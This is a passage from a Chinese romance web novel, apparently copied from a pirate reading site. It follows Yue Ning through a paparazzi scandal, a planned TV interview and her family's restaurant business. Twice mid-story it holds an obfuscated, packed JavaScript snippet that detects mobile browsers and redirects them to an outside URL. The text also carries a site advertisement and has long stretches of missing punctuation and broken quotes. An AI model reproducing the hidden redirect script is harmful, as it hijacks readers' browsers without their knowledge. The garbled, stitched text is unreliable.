乔君贤也凑过去，岳宁神神秘秘地跟他讲述了下午抓住斗鸡辉，并把斗鸡辉按在墙上教训的事。 她说话时呼出的热气吹到乔君贤耳边，他的耳朵有些发痒。 好在岳宁说完后，坐直了身体：“人被诬陷时，下意识会自证清白。中午我就觉得张丽丽不太聪明，刚好有这么个机会，为什么不加以利用呢？” 乔君贤看似不经意地调整了一下坐姿：“真厉害，那丁胜强呢？你也预料到他的举动了？” “我哪有那么神呀？丁胜强跑来跪地求爷爷原谅，这我可没料到。他这一招确实很精明，如果我真是那种想下黑手的人，他在大庭广众之下一跪，不管是他、张丽丽，还是他家人出了事，民众第一个怀疑的就是宝华楼。他以为人人都像他一样阴暗、毫无底线？我就光明正大地表明绝对不用阴招。” “你怎么推断出丁胜强会趁着这个机会骗走张丽丽的呢？”鸡肉沙爹上桌，乔君贤替她蘸了蘸酱料，递给她。 岳宁接过鸡肉串：“两个心怀不轨的人凑在一起，张丽丽相对蠢笨些，丁胜强则更狠毒，他都能背叛我爷爷，更何况是张丽丽呢？我能站在他的角度思考问题，但我不会用他那种手段去害人。从小莫伯伯就教导我，君子慎独，不欺暗室。我会光明正大地将他们的恶行一层一层揭露出来。刚才那一出，大家都看清了他们俩是无赖，这样的无赖用死鱼做拆鱼羹，用冻肉做烧腊，不是很正常吗？” 说完，岳宁吃起沙爹鸡肉串。 乔君贤看着岳宁，长这么大，他第一次嫉妒哥哥。为什么爷爷给哥哥起名字那么用心，给自己起名字却如此敷衍呢？ 第43章 被偷拍 一大碗叻沙被端了上来，奶黄色的咖喱汤底上飘着红色的辣椒油，光是看着就足以刺激人的食欲。 她先喝了一口汤，十几种不同的香料混合在一起，有着骨子里奔放的热辣，但被柔和的椰浆调和得恰到好处，就像南洋的小娘惹一样，天真烂漫又热情。她仿佛看到了一个穿着轻薄小衫、配上鲜艳纱笼的少女，变得妩媚温柔起来。 “好味！”岳宁怎么都没想到，这辈子她会在港岛吃到这么一碗具有浓郁南洋风情的叻沙。 她连汤带料全部吃进了肚里，喝过一口水，嘴里仍有百味缠绕着舌尖。 见她吃得很满足，乔君贤也开心地笑了：“其实槟城街头亚叁叻沙，如果吃得惯的话，你会爱上的。我在小杨沟吃你做的酸汤面疙瘩的时候，就想起了亚叁叻沙。不过它里面有马拉盏，喜欢的人特别喜欢，不喜欢的人就丝毫不碰。” 想起上辈子吃的亚叁叻沙的酸香味，她说：“美食排名不分先后，都可以到我碗里来。” 吃饱喝足后，两人一起出了餐厅。岳宁在走廊上看向海边说：“去海边走走？” “如果想看海景，要去九龙，从尖沙嘴看向港岛，夜景最美了。”乔君贤说道。 岳宁说：“不是，我就是吃太饱了，想走两步消消食。” “那走吧！”乔君贤应道。 两人走在海边，乔君贤跟岳宁细聊他谈生意的进展。他们家全力支持他试试，他妈妈给他推荐了一家口碑极好，但经历了七三年股灾之后一直没爬出泥潭的吊扇厂。乔家打算拿钱出来收购大部分股份，然后以这家工厂的班底，去蛇口工业区开厂。 “原本说到时候送你一台录音机样机，现在看起来不知道什么时候了。”乔君贤说。 “不着急，我爷爷给我买好录音机了。”岳宁回应。 “那正好，我朋友帮我推荐了一套他学英文的书籍，我也买好了，还有配套的卡带。明天帮你拿过来。”乔君贤说。 “乔爷爷肯定马上要来吃饭，到时候你让他带给我也行。”岳宁说道。 乔君贤摇头：“没事，那家工厂在观塘的工业大厦里，我明天早上大概九点左右过去，顺路帮你拿过来。” “你老是帮我忙，我都不知道怎么谢谢你。”岳宁感激地说。 “只要你下次别只给我一小口吃的，就好了。”乔君贤打趣道。 岳宁笑：“好吗！好吗！ 等周日我比完了，给你做一大碗拆鱼羹。” “配扬州炒饭。”乔君贤提出这个要求，瞬间又觉得自己是不是有点得寸进尺了。 “一言为定。”岳宁一口答应。她又想起来，“对了，我还答应给你炖汤呢？你偏头疼好点了没有？” 乔君贤闪烁其词：“不……不用了。” “为什么？”岳宁问。 “我听你的，不喝刺激性的饮料不就行了？”乔君贤说道。他自以为是的为他人好，是很遭人讨厌的事，岳宁自然不强求：“好。” 再说这时前面有吸引她目光的事出现了。一对男女，男的靠在栏杆上，女方双手勾着男士的脖子，两人正在旁若无人地亲吻，那个投入，那个沉浸。 一言不合就亲上的场景，乔君贤见多了，早就**以为常。今天，她在身边，乔君贤就觉得不对劲，为了避免尴尬：“我们往回走吧！不早了。” “好啊！”岳宁应道。 岳宁跟着他往回走，巧了不是，这边也有一对。刚才那一对年纪还相称，这一对男的头已经秃成了荷包蛋，女的还是如花年纪，男的那只咸猪手还摸得不是地方。 岳宁叹为观止：“乔君贤，你们港城搞对象，这么奔放吗？” 乔君贤只觉得这位大叔这么饥渴，难道不能去边上的酒店开个房，有必要在这样的公众场合污染别人的眼睛吗？他拉着岳宁的手，加快步伐：“非礼勿视，我们回了。” 岳宁突然被他拉住了手，有些怪异。明明就在刚才她还拉着丁胜强那只胖猪蹄去胜华楼门口，这……竟然……如此不同？ 直到上了车，岳宁的眼睛还看着乔君贤的手，乔君贤察觉了，他问：“怎么了？” “方向盘很有质感。”岳宁只能尬聊。 夜里路很好开，很快到了他们街区路口。乔君贤要下车，岳宁说：“你直接走好了。对我还不放心？” 想起北京那晚，乔君贤笑：“Bye.” “路上小心。”岳宁挥手，看着他的车子离开。 她往街道里走，白天这里很喧嚣，这会儿店铺都关闭了，底楼二楼大多没灯火了，三四楼灯火很多，很多都是楼下开店，楼上生活。 还没穿过服装店，爷爷已经迎了过来。在昏黄的灯光下，爷爷和爸爸太像了，岳宁奔跑过去。 “爷爷，您一直在等我？” “没有，你不是说明天烧腊开张吗？我让鸡鸭 老板送了些鸭子过来，刚刚把鸭皮烫好，刷了第一遍脆皮水，晾上。”爷爷回答。 自己说明天要开烧腊档，最后让爷爷忙疯了，岳宁愧疚：“爷爷辛苦了。” “傻。”岳宝华揉着她的头，“饿了吗？” “不饿，乔君贤带我去吃了南洋菜。我吃了一大碗叻沙，很好味。很少复杂的调味能做到叻沙这样的平衡……”岳宁跟爷爷形容着自己对那一碗叻沙的味道。 “你今天一大早就出来了，还做了这么多的事，早就累了。早点睡吧！”进了屋里，岳宝华疼惜地说。 岳宁和爷爷一起上楼，岳宝华送她到门口，岳宁说：“爷爷晚安。” “晚安。明天早上八点，去吃猪脚河粉。” “好的。” 昨天她豉油鸡里放猪脚，阿明说附近有一家老牌的河粉店，只做早餐，里面的卤猪蹄也超级好吃。勾得岳宁的馋虫起来，爷爷说明天早上带她去吃。 岳宁进了屋，看着一屋子的粉色，床上是她刚才换下来的衣服，叠得整整齐齐地放在那里。她把衣服收进粉色镶边的衣橱。 一样被家长等门，上辈子她大学暑期在家里的酒楼做事，晚市结束，深夜路过便利店，进去买一杯咖啡，喝上两口再回。到家，她妈就会追问她这几分钟去哪里了，自己说买咖啡，她妈开始叨叨家里有咖啡机，有多好的咖啡豆，为什么要去喝那种垃圾咖啡？ 其实咖啡好不好喝不重要，自己只想在深夜，能在累了一天之后，逃避几分钟。 粉色背后的情意不一样。自己要认识清楚。 岳宁从衣柜拿衣服，顺带打开了电视机。夜深人静了，电视机里正在播放一档访谈节目，两个穿着西装戴着领结的老男人，手里拿着红酒杯，闲适地坐在沙发上，中间则是一个妙龄女子，端庄地坐着。两个男人轮番盘问妙龄女子。 岳宁洗漱后上了床，她想拿开那只米妮玩偶，想要扔到脚边，到了手里突然又不想扔了，就让它陪着自己吧！ 电视里两个老男人敢问，那个妙龄女子也敢答。主持人问她脚踏两条船，不分先后给两位富豪做情妇有什么感受，问她到底更喜欢哪一个？ 女子也不遮遮掩掩，直接说：“都不是靓仔，当然是更喜欢大方的哪一个啦！” 岳宁只能说：牛！真牛！ 看完这档节目已经是午夜，岳宁关了电视机，倒头就睡着了。迷迷糊 糊中她感觉好像回到了小时候像是爸爸在亲吻她的脸颊。 “囡囡睡着了？”这是莫伯伯的声音。 爸爸笑了一声：“顽皮了一天累了睡得像小猪。” 下乡改造的人当然不可能一个人一间房他们父女俩和莫伯伯住一间。 伯伯过来低头看她伸手摸了摸她的脸颊拿起爸爸正在钉扣子的衣服。春梅婶也有一大家子的衣服要做她帮忙裁剪帮忙做好扣子扣眼爸爸会拿回来自己做。 “你嫂子来信跟我说小颖生日她想给孩子做一条粉红色的连衣裙。最后想想只能作罢。”莫伯伯幽幽叹了一声 “莫哥你这个资产阶级的享乐主义又开始了。”爸爸手里是一件蓝色布料的倒穿衣。 莫伯伯在她身边坐下：“志荣啊！如果社会主义的老百姓一直很穷女小囡穿不起粉色的连衣裙。这样的社会主义有意义吗？我和你嫂子回来还有意义吗？我们……” “哥哥！别说了。”爸爸连忙制止莫伯伯再说下去。 莫伯伯果然不说了他看着她说：“希望囡囡的囡囡能穿上粉色的小裙子。” “会的。”爸爸咬断了线头。 这个梦并没有让岳宁醒来她是被敲门声给吵醒的。 岳宁掀开被子去开门岳宝华在门口。 岳宁打了个哈欠转头看闹钟显示早上七点她说：“爷爷不是说好八点去吃猪脚河粉吗？” “君贤少爷打电话来你和他昨晚一起去吃饭上了报纸了。”岳宝华愁容满面地说。 岳宁捏了捏眉心看完午夜访谈节目已经下半夜了她还没睡舒坦。 “等我换衣服我马上下来。”岳宁挠了挠头关门回房间。 她把爷爷关在门外了？不妥！要转回去开门。不对她要换衣服。那就让爷爷等一等吧！ 岳宁换了衣服刷牙洗了一把脸整个人就清醒多了。 不就是上个报纸乔君贤也真是的爷爷更是大惊小怪。她打赌爷爷肯定还在门口。 岳宁拉开门见爷爷果然在门口她笑了一下。 岳宝华看她现在还笑得出来叹了一口气等下看到报纸她就知道麻烦了港城狗仔的笔可以逼**啊！ 岳宁跟着爷爷到他办公室见 桌上有一张报纸报纸拍的是乔君贤的侧脸自己刚好凑过去跟他说话从这个角度看过去好像在贴脸亲他。 图上标题：“牧羊女拿下白马王子十六层高楼贴脸狠啜” 岳宁再往下看去还有一张小照片是他们俩在海边牵手。 短短的百来字正文写昨晚乔君贤开跑车带她进酒店吃饭两人说笑中她起身贴乔君贤的脸亲。乔君贤被亲得很高兴还时不时地给她递吃食饭后两人去海边手牵手散步。文章倒也没什么恶评就说如果她嫁入乔家也算是灰姑娘和白马王子的配对了。 以岳宁上辈子概念里的港媒这也太收敛了上辈子她来港参加活动港媒起标题“鸭女王抵港港鸭浑身颤抖”文章里还说她会亲手给鸭子做马杀鸡。 就这？太小儿科了岳宁笑了一声：“随便他去。” 岳宝华急了这怎么能随便呢？他在内地的时候见宁宁和乔君贤走得近心里就担心怕到时候港城的这些报纸电视不会放过她。好在宁宁本身聪明加上还有她莫伯伯这层关系她跟乔君贤走得近那也说得过去亲戚关系乔君贤照顾妹妹他就放心了松懈了。 可这种照片那是实打实的证据只能说该来的还是会来。 乔家家风正乔家的这位小少爷小时候长得粉雕玉琢深得乔启明的喜爱出门一直把他带在身边。长大后读书又好还没有任何绯闻是港城师奶心中的最最可爱的乖乖仔。 “宁宁这张图虽然看不出来我相信你肯定没有亲乔君贤。”岳宝华说。 “我亲没亲不重要公众认为我亲了就是亲了。”岳宁笑 全然明白。岳宝华皱眉：“那现在怎么办？” 岳宁单手托腮舍不得爷爷着急她说：“不管外面怎么想爷爷放心我没亲乔君贤。” 这时电话铃声响起岳宁接起电话乔君贤的声音传来：“华叔您别急我让家里的 公关团队处理。” “我在爷爷办公室呢？” “宁宁。”乔君贤停顿了一下，“你放心，我会处理好的。” “我问你《卸下心防》这个节目我能上吗？”岳宁问。 岳宝华听见这个，简直越来越离谱了，她知道《卸下心防》是一档什么节目吗？35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915400|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 乔君贤在电话那头也这么问。岳宁说：“我昨夜看了呀！就是满足公众对名人隐私的窥探欲，昨夜那位女嘉宾语出惊人，说她只喜欢钱多的那一个。如果公众对你我之间的事很热衷，那我就上啦！我保证不会影响你的口碑，也不会损害自己的形象。相信我的公关能力。” 乔君贤默不出声，岳宁说：“你要是不愿意，那我就闭嘴不说了。就看你对我有没有信心了。” “我给表哥打电话。” “问好了告诉我。”岳宁伸了一下懒腰，她看着爷爷的苦瓜脸，“爷爷，笑一个！不会有事的。你看乔君贤都对我这么有信心。” “你说，你打算怎么做？” 岳宁笑：“我会承认，我喜欢乔君贤。” 岳宝华张大嘴巴，他反应过来：“不行，宁宁。你还小，你不知道……” “爷爷，我喜欢乔君贤，就像那些粉丝喜欢刘家耀一样。他是我心中的偶像，我会用如何正确看待偶像，如何健康追星的角度，去分析我对乔君贤的喜欢也好，迷恋也罢。我会让公众认为，我喜欢乔君贤是天经地义的。但是，我也是非常理智地去看待这份喜欢，以积极向上的方式去处理现在的关系。”岳宁耐心地跟岳宝华解释。 “你真的喜欢乔君贤？”岳宝华又问了一遍这个问题。 岳宁想起昨夜被乔君贤拉着走路的感觉，耸肩道：“比一般朋友多一点，算不上到喜欢的程度。” 电话铃声再次响起，乔君贤的声音传来：“跟表哥说了，表哥听说你愿意上节目，他开心得要命，已经去安排了，估计两三天之内就能上了。你告诉我，你到底打算怎么办？” “我会承认，我喜欢你。”岳宁这次清晰而坚定地说。 这话出口，岳宁听见电话掉落的声音。她话还没说完呢！ 电话里声音再次传来，那个声音紧张地发抖：“你再说一遍。” “哥！你别害怕呀！我不是真喜欢你。我是说，如何危机公关。就是不损害你的形象，同时我设立一个积极向上的人设。让人往‘哪个少男不多 情，哪个少女不怀春。’方向去想。知好色而慕少艾，是人之常情。如何正确看待这种喜欢，在正确的时间做正确的事。给那些狂热的追星族以启示，和正面的引导。倡导健康追星，让粉丝向我学习。也规劝明星们，向你学习，做一个给社会积极导向的偶像。” “好！我听你的。”电话那头乔君贤的语气平静了下来。 岳宁就放心了，她说：“那行，我跟爷爷去看鸭坯了，然后去吃猪脚河粉。拜拜了！” “拜拜。” 电话挂断，岳宁看着话筒，这家伙听上去有些语气低落。 电话沟通，没办法面对面，看不到对方的表情，揣摩不了他的真实想法，这点就很麻烦。反正等下他要给自己送英语资料过来，跟他再细聊就好了。 “爷爷，我们去看鸭坯。” 岳宝华听完岳宁跟乔君贤的电话，他再次发现自己真的多虑了。宁宁对这种事的处理简直就是信手拈来，而且还能大道理一套一套的。 “走吧！” 岳宁看着挂着的鸭坯，用她的方子的鸭坯，表皮更加红亮紧绷，老方子颜色虽然浅一些，但是闻上去香气更加足一些。 总体来说，这样低温风干的鸭皮，要比她上次在福运楼做脆皮糯米鸡的时候，快速风干口味更好，岳宁很满意。 岳宝华带着孙女一起出门，门一开，蹲守的狗仔们就把话筒递到她嘴边：“岳小姐，请问你昨天真的跟乔君贤在鸿安大酒店亲吻吗？” “这件事，我现在保密。我会在《卸下心防》节目中，向大家敞开心扉，告诉大家我和乔君贤先生之间的关系。”岳宁很礼貌地回答。 “以你们之间的关系，你们会结婚吗？” “你们有什么疑问，可以收集之后，交给《卸下心防》栏目组，让杨裕合先生不要顾及他是我爷爷的老食客，有什么问题尽管问。现在，我肯定卖关子。”岳宁笑着说，“我要去一家据说价格实惠，还超级好吃的河粉店，吃猪脚河粉了。等我吃完，也只能告诉你，我喜不喜欢吃这家的猪脚，不可能告诉你，我是不是乔君贤的女主角。如果，你们对猪脚河粉这个话题感兴趣的话，可以蹲守在这里。” 岳宁和岳宝华刚要往前走，她似乎想到了什么，又转身说道：“哦，对了！今天午市，宝华楼烧腊档口重开，我将在爷爷做的烧鸭上，搭配我的独门秘制玻璃脆皮烧鸭。你们要是 等在这里，等下也可以尝尝烧鸭。” 岳宁跟着爷爷往前走，路过一条马路，有一家书报杂志档口，上面摆着一排花花绿绿的杂志。她看了一眼，这些杂志都是一期一期出版的，上面还没有她的新闻。她又看向下面一排折叠着有她画面的报纸，最醒目的就是她和乔君贤在大酒店亲吻的图片，还有一份是她拿大喇叭喊话的报道，还有一份是她扛着丁胜强的照片。 “岳宁！”有人叫了一声。 路过的人立刻反应过来，全都往她这里看来。岳宁若无其事地拿出三份报纸，跟老板说：“阿伯，就这三份报纸了。” “你跟乔君贤是不是真的？” “想知道吗？”岳宁再次向这位路人安利了《卸下心防》，“记得到时候看。” “这三条新闻全是说你呢！” “对啊！”岳宁接过报纸，“昨天好忙，都没时间坐下来看看新闻，今天醒来才发现自己成了八卦新闻的女主角。过来买报纸，也跟大家一起聊聊这事儿。” 围观路人：？？？ “你们知道我第一天到港城，港城给我最深的印象是什么吗？”岳宁收起报纸问道。 “什么？” “乔君贤带我去吃的鸿安大酒店南洋餐厅的一碗叻沙，味道超级好。”岳宁秉承着“有流量不用是傻瓜”的原则，推荐道，“大家可以去尝尝哦！” 第44章 猪蹄河粉 阿明叔推荐的这家河粉店，离宝华楼仅隔了两条街。 这条街道更加拥挤，铺面一个挨着一个，头上的招牌纷繁杂乱。一个黄底红字的招牌上，Logo是一条男士内裤，店名“男爵夜总会”。它边上的照片，白底红字写着“肛瘘专科”，真是贴近需求。 这家河粉店在这个街区有一间小小的铺面，没有招牌。里面摆放着六张板桌，门口一位佝偻的老阿公正在下河粉，里面的矮小阿婆则忙着收拾碗筷、擦桌子。 卤猪蹄和卤小肠的香气弥漫，便是最好的招牌，店里已没有空位。 岳宁看了一圈，发现一张四人桌，一对中年夫妻已经吃好，她赶忙占了位子，跟岳宝华说：“爷爷，我要加小肠。” 她往外看了一眼，有个狗仔还真敬业，站在一块写着“欢迎参观，鬼妹、陀地五十，北姑三十，马拉泰国二十”的牌子旁，继续偷拍。 岳宁低头翻阅报纸。哎呀！刚才失策了！这份她在高楼啜乔君贤的报纸，已经看过了，她换了一份。 这份报纸头条是：“衰徒跪求原谅，牧羊女狮子吼拆穿意图”。 以后“牧羊女”就成了她的名字了吗？算了！算了！总比“鸭女王”好听。 “报纸借我看看？”同桌的一个男人问。 岳宁从下面抽出那张她多买的报纸递给他，头也没抬，继续看自己的花边新闻。 “别的北姑都在辛苦揾钱，开价四十，二十都愿意干。这个西北来的牧羊女厉害，不知道靠什么法子，勾上了乔家公子，就是做不了少奶奶，那以后也不用过到处揾钱的苦日子了。”同桌的男人感慨，还问，“你说是不是？” 岳宁头都没抬：“在男爵夜总会混最底层，赚的钱不够治肛瘘，连张报纸都要问人借的人，没必要为难自己这核桃仁大小的脑子想这些。” “你说什么？”这人反应过来，怒瞪她。 岳宁抬起头：“我说你在夜总会里混得差。有问题？” “谁在夜总会上班？我是巴士司机。”这人涨红了脸。 小小铺子里的人都已认出了岳宁，外头的狗仔见到这里有事，虽无短跑冠军的速度，却有短跑冠军的态度，第一时间对着他们拍。 “你下班了兼职啊！”岳宁笑着站起来，接过爷爷端过来的河粉。 “你有证据吗？” “哪个兼职卖屁股的用真名？Andy、Tony，随便 用个花名就行了。岳宁放下河粉，看着脸涨得通红、马上要爆发的男人，“我说到这里，你打算怎么办？脱裤子让大家看，其实你没有肛瘘吗？这时候有人会拿放大镜看，找你屁股上的些许痕迹，来证明你卖屁股是真的。他们会罔顾你有家有口，是个老老实实挣钱的巴士司机这个事实。从你第一句对我的恶言开始，就开始了这样的趋势。很多人故意看不见，我爷爷是宝华楼的老板，他的积累，哪怕我什么都不干，我也能生活无忧。他们也会忽视，我有手艺，有白手起家的能力，根本不会饿死。只会像我刚才往你头上泼的脏水一样，死命地往我头上泼脏水。 这人嗫喏：“我只是随口说说。 “己所不欲勿施于人，随口没问题，但是要有分寸。岳宁接过爷爷递给她的筷子，“比如，我到底亲没亲乔君贤？这就可以问。 有人就问了：“那你到底有没有亲？ 岳宁拿着筷子，笑着挑眉：“一路上好多人问我这个问题，我不能厚此薄彼，统一回答：我答应了《卸下心防》节目的邀请，揭开这个谜底。欢迎大家收看，节目收视率没有创新高，一定是我不够努力，你们不够八卦！ 全场笑声不断，岳宁催促他们：“快吃呀！吃好了就走啊！别耽搁阿伯做生意。 “你也快吃，你再不吃，古婶要来收你碗筷了。岳宝华催孩子。 “马上吃。岳宁低头看河粉。 这碗河粉量很足，半边是酱红色的卤猪蹄和几片卤小肠，另外半边是四个肉丸、现烫肉片和碧绿的枸杞叶，河粉都快被盖住了。 她端起碗来喝了一口汤，用鸡骨架和猪骨熬的汤，味道鲜美。她吃卤猪蹄，卤得很有滋味，虽然是冻肉，但调味到位，也可以了。 她一样一样配菜吃下来，嗦了一口粉，河粉用的是新鲜的，口感很好！ “怎么样？岳宝华问。 “在现有的材料下，已经做到极致了。岳宁回头看了一眼正在下河粉的老阿公。 岳宝华说：“这么一碗河粉才一块二。 “啊！这也太便宜了。岳宁已经开始了解港城的菜价，对比港城人的收入，这个价格确实太便宜了。 有人说：“古伯的河粉，可能是港城性价比最高的了。这么低价其实没必要。其实现在大家收入都上来了，略微涨点，不会影响生意的。 古伯听见了他 们的话：“都是老街坊邻居了，你们来吃就是看得起我，一天下来，够家里开销，过日子就好了。” “宁宁。”兰姐和一个瘦高个、戴着眼镜的年轻人从外头进来。 岳宁招手：“兰婶婶早！” 同桌那个巴士司机吃好了，他站起来：“慢用。” “拜拜。” 他们这里位子空出来，岳宁收了报纸放在角落：“兰婶婶，这里。” “阿杰，你先去宁宁那里坐。”兰姐去买河粉。 年轻人坐下：“华叔好！” 岳宝华回：“好。” 阿杰见桌上还有没收掉的碗筷，便收了起来，端到里面，“古婶，来擦一下。” 古婶过来擦桌子：“阿杰在家呢？” “今天学校上午没课。好久没来古伯这里吃河粉了，想吃了。” 古婶可能年纪大了，有根掉桌上的河粉没擦掉，阿杰接过古婶的抹布，帮她擦了，再去洗了手，过来坐下。 岳宁顿时对他好感倍增，难怪兰姐一直夸自己的儿子。 兰姐边等河粉边说：“阿杰，这就是华叔的孙女，宁宁。” 阿杰看边上的报纸说：“久仰大名。” “我也是呢！听兰婶婶说你好优秀的。”岳宁说。 阿杰有些不好意思，轻声说：“我妈夸张，别听她瞎说。” “我说总归可以吧？我们那条街上，这几年考上港大的，有几个？”岳宝华说道。 说更新，记住域名ｃａｉｘｓ?(请来才小 说 看最新章节 完整章节) 阿杰羞涩地笑。 有个大叔吃好了，低头问正在啃猪蹄的岳宁：“报纸上问，如果你去打拳，赔率是多少？这个可以问吧？” 岳宁松口，猪蹄落碗里，仰头说：“你买我的话，一定是底裤都输掉。” “为什么？” “我不知道规则呀！也不会去了解规则。我是爷爷的乖乖孙女。只会做好宝华楼的传承。” 得到答案的那位笑着说：“慢慢吃。” 阿杰见兰姐那里河粉好了，他过去帮忙端，母子俩端了河粉过来。 “阿杰，宁宁说要考大学，想问问你。”兰姐坐下就跟儿子说。 “是我听见兰婶说你考了港大，我刚来港城，不知道港城怎么考大学。”岳宁说。 阿杰点头：“我不知道你的目标是什么？其实港城就两所大学是可以授予学士学位的。其他的都是专上学校。我读的是英中，我对中文考试不熟悉。最多给你考港大的参考，港中文的话我也不太懂 完全是两条路的。” “我就是打算参加英文考试。” “啊？”阿杰听得愣了英文脱口而出“你确定？” 岳宁用英文回答：“对我有基础但是我不知道这里考什么内容我打算用一年的时间熟悉这里的考试规则。” 阿杰只是下意识这么说在港大念书都是英文授课已经习惯了。他没想到岳宁居然用英文回了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915401|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很流利除了有一点口音。不过谁没有口音他的英文也带有港味。 他笑了起来：“那可能真的只要熟悉这里的考试规则。其他科目的话……” 他是经历过考试的人而且还是以高分考取商科说起来头头是道一碗河粉的时间哪里能说完？ “我们不耽搁古伯做生意了。回去再说？”岳宝华说道。 阿杰站起来伸手收了碗筷帮古婶送过去。 他们四个一起往回走阿杰问了岳宁一些理科的情况他笑着说：“去年考完试之后那些资料我没舍得扔。” “他啊！家里就这么大。说什么都不舍得丢那些资料占着地方。”兰姐无奈地说。 “好啊！谢谢了。”岳宁感激地说。 “不客气都是街坊如果没有大家帮忙尤其是华叔没有他的帮忙我也未必能读大学。” 岳宁不知道具体原因想来也是爷爷给人帮助了。 四人走到街口岳宁见一辆奔驰车正在倒车跟阿杰说：“不要在车屁股后。” 谁知道车里的司机是新是老会不会油门当刹车？总之君子不立危墙之下嘛。 阿杰往她那里靠了一下：“哦谢谢！” 奔驰车停稳车门推开 看见乔君贤岳宁快步走过去：“我刚刚吃早饭回来。你不是说九点左右吗？” 乔君贤的目光无法克制地落在岳宁身后的阿杰身上。 兰姐说：“华叔、宁宁我们先进去了。” “好啊！” 岳宁跟阿杰说：“阿杰等下我去找你。” “我给你整理好了送过来。”他笑着说“我家好小的。” 岳宁笑着说：“麻烦了谢谢啊！” 兰姐母子先进去。 岳宁伸手接过乔君贤手里的袋子没有注意到乔君贤的目光一直跟着阿杰。 她的心思在偷拍的狗仔身上：“狗仔真敬业。” 乔君贤烦躁地 说：“抱歉，给你带来麻烦了。 这会儿九点还没到，服装店大叔的大喇叭已经叫了：“本港服装厂出欧洲单多余，清仓甩卖。T恤衬衫长裤短裤通通都有…… 岳宁指着服装店门口的牌子“营业时间：早十点到晚八点：“你看看现在才几点。一体两面吗？阿叔都起来做生意了。你这何尝不是在给我带生意？宝华楼停了这么久，我不是一直说热度吗？生意不是来了？再说，这种麻烦我也不是第一次经历了。小杨沟的时候，田枣花逼我嫁给她家二傻子不成，造谣我克夫。阿根叔带我杀猪杀羊，她又在背后说，阿根叔这个老光棍，想要娶我当老婆。那些才是恶意满满。 “那就好。乔君贤笑着说。 “没事的。打广告还要投钱呢！这个连广告都不用了，明天的拆鱼羹比赛，肯定可以吸引一大波人。既然要吃流量的红利，那就要做好人红是非多的麻烦。上辈子明星买热搜，车企老板亲自下场带销量，都**以为常。说到底，她能赚大钱也是靠着流量。要不然，像古伯那样，好手艺，在巷子里，低价销售，也就勉强糊口而已。 乔君贤抬手腕看表：“我走了。早点过去，那家工厂的人挺难搞的。 “嗯！ 乔君贤上车，岳宁目送他的车离开。一个狗仔冲过来，岳宁带着爷爷转了一下，避开他们的冲刺。 她把手里的袋子张开：“想要拍乔君贤给我送什么，问就好了。搞这种动作做什么？ 岳宁看见接连四五个狗仔冲过来，这么多？ 乔君贤给她送来的是《港城大学高等程度会考必考文章》之类的书籍。 “乔君贤给我送复习资料。岳宁说道，“这下看清楚了？ 让狗仔们尽情拍完，祖孙俩一起回到宝华楼。这九点还没到啊！宝华楼门口已经**了不少人。 岳宁不管他们是来八卦还是其他，她就说：“都是来买烧鸭的吧？十点准时开始。 祖孙俩进去烤鸭子，准备等下李欣荣一家过来的午饭。 第45章 灌汤黄鱼 李欣荣见师傅把所有的希望都寄托在孙女身上，回到澳城跟老婆阿霞说了，阿霞也担心师傅是不是精神出了什么问题。 李欣荣是个孤儿，被师傅收留。他原来的名字叫李三牛，师傅觉得不好，给他起了这个名字，一来是顺着师兄岳志荣的“荣”字，二来寓意欣欣向荣。 师傅是个可怜人，年轻的时候老婆**，一把年纪又得知独生子去世，这个打击对师傅来说，无疑是灭顶之灾。 还有丁胜强那个王八蛋，居然做出这种欺师灭祖的事。师傅疯了，也不是不可能。 他作为岳宝华的大徒弟，也算是养子，得替师傅扛下宝华楼，给师傅养老，替没见过面的志荣哥照顾好宁宁。 他说等这次回港城，就回来辞职，阿霞也支持他。 他们夫妻俩都打算好了，可就昨天傍晚开始，港城和澳城的电视台轮番播放宝华楼的新闻，新闻一个比一个凶猛。 他从电视上看见师傅的孙女扛着丁胜强，从电台里听主持人说岳宁跟几家家族之间的关系。今天早上更加离谱，才到达港城，他就发现侄女居然因为亲吻乔君贤，占领了报纸整版版面。 他现在一脑子的糊涂账。师傅一个老老实实开酒楼的人，怎么去面对这样的境况？ 一家子四口走进街道，这条街道平时客流就不少，这会儿更是热闹非凡。李欣荣护着儿女老婆挤过服装铺子。 天！宝华楼不是没开张吗？为什么门口挤满了人？ 宝华楼居然把烧腊摊位摆到了人行道上，人们排成了几排。 他那个五师弟阿伟站在凳子上，拿着大喇叭喊：“有买有送，买华叔的烧鸭，送岳宁的脆皮鸭，多买多送，赠品送完为止。不买也没关系，可以免费试吃，吃得好再买。” 宝华楼的学徒正在卖烧腊。 “华叔的烧鸭我一直吃，能不能单买这个玻璃脆皮烧鸭？”有人问。 阿伟低头：“不好意思，宁宁的烧鸭今天就是用来送的。就想搭着华叔的名声，试试效果。明天就单卖了，要不您明天过来？” “买半只华叔的烧鸭，才搭一份岳宁的脆皮鸭，脆皮鸭太少了，我回去给谁吃的好？” “大婶，我真的没想到，大家会这么给面子，实在对不起。明天，明天，好不好？宁宁说了，明天是买她的玻璃脆皮烧鸭，送她做的酒糟脆皮烧肉。” “这个脆皮烧肉是什么味道？ ”有人问。 阿伟嘿嘿笑：“我刚才看到她调了料说是参考了贵州的脆哨里面放了甜米酒跟咱们常吃的烧肉有点不一样。” “明天的脆皮烧肉单卖吗？”有人问“别也是买了送？” “这个我做不得主得问宁宁去。”阿伟按照岳宁的嘱咐反正就推岳宁头上。 